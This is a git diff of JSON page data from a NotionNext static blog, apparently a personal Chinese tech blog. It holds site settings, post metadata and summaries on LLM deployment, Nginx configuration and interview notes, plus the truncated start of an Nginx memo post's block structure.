f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"将进酒","status":"Published","publishDate":1704067200000,"publishDay":"2024-1-1","lastEditedDate":"2024-04-06T03:31:44.998Z","lastEditedDay":"2024-4-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240425-nginx.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240425-nginx.json new file mode 100644 index 000000000..01bb38cd0 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240425-nginx.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"71879fde-4992-4276-9767-ac5bd71e4058","date":{"start_date":"2024-04-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240425-nginx","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","title":"Nginx配置备忘录","status":"Published","publishDate":1714003200000,"publishDay":"2024-4-25","lastEditedDate":"2024-04-24T16:37:04.342Z","lastEditedDay":"2024-4-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","tagItems":[{"name":"运维","color":"gray"},{"name":"工具","color":"pink"}],"password":"","blockMap":{"block":{"71879fde-4992-4276-9767-ac5bd71e4058":{"value":{"id":"71879fde-4992-4276-9767-ac5bd71e4058","version":399,"type":"page","content":["69c82a43-8096-4b7b-9f0c-18fb28429f7d","18a8b13d-784c-495b-9c2d-cd6f1aa5df7f","c4f8e5e5-8245-4c39-8e8e-2934583171eb","d983261d-b143-4f75-b3bf-ab1bd9d27c51","b47c029d-d64c-482f-b8fb-b5bc214374b9","12704b4f-3bd6-4976-ab86-1cfe62ddde10","b6b0249f-22af-42f0-8b77-330fb4477006","9f3468f0-4f68-4d16-acac-86ad466639f0","785f1327-67cf-478d-917f-8a8250c87b03","44748ac9-360a-4981-9726-99eaaeee8b02","b7158b33-15f3-4389-a4e1-51438a2c0c32","72a02e8c-9fac-417f-888a-8b58f352414b","d6c8a6bb-4b20-488e-8646-294b5c9cd402","c9ffdc1f-fb25-40a5-a13b-6922efce4edf","69fd9ecf-853a-479f-9586-4ae16b3cf57a","5f20b55d-12f8-4bb3-807b-093a5f0581f1","e928ae9b-250c-413c-abf8-46cc01f3dbae","ba633245-6292-437e-943e-81c23544eb57","c3130d93-a6a6-44f4-b1c3-17df56268d31","891d22dd-1920-49a8-8d55-5f35ec62d60a","485b0fbf-3d8e-47e5-a874-6edf5cce4841","af881b8c-9634-454b-aa57-755642ab95ce","b8569c04-59d1-4fd2-8d31-351c6557874b","69fd4a8d-3006-4e8e-be2f-5dd0d84a6fd2","a7836f50-27b4-4664-a9ed-dc610453b6d4","c4c69881-c3f8-49be-976d-904e98ce3255","92d08355-3283-4e30-8acd-bc7970342ae2","6499ff32-ebf5-43dc-86e7-b054fc3359dd","3869dacf-af1a-4b59-9b64-054fc3ff3f8a","4221b8ae-c7f9-4816-aec0-050c8e163bb1"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1713975026017,"last_edited_time":1713976624342,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad